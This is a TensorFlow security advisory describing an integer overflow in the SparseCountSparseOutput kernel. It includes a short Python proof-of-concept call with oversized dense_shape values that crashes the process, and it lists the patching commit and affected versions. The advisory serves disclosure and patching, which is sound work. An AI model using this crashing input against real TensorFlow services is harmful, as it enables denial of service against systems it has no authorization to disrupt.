Integer overflow leading to crash in Tensorflow
### Impact
The implementation of `SparseCountSparseOutput`
https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/count_ops.cc#L168-L273 can be made to crash a TensorFlow process by an integer overflow whose result is then used in a memory allocation:
```python
import tensorflow as tf
import numpy as np
tf.raw_ops.SparseCountSparseOutput(
indices=[[1,1]],
values=[2],
dense_shape=[2 ** 31, 2 ** 32],
weights=[1],
binary_output=True,
minlength=-1,
maxlength=-1,
name=None)
```
### Patches
We have patched the issue in GitHub commit 6f4d3e8139ec724dbbcb40505891c81dd1052c4a
https://github.com/tensorflow/tensorflow/commit/6f4d3e8139ec724dbbcb40505891c81dd1052c4a.
The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Faysal Hossain Shezan from University of Virginia.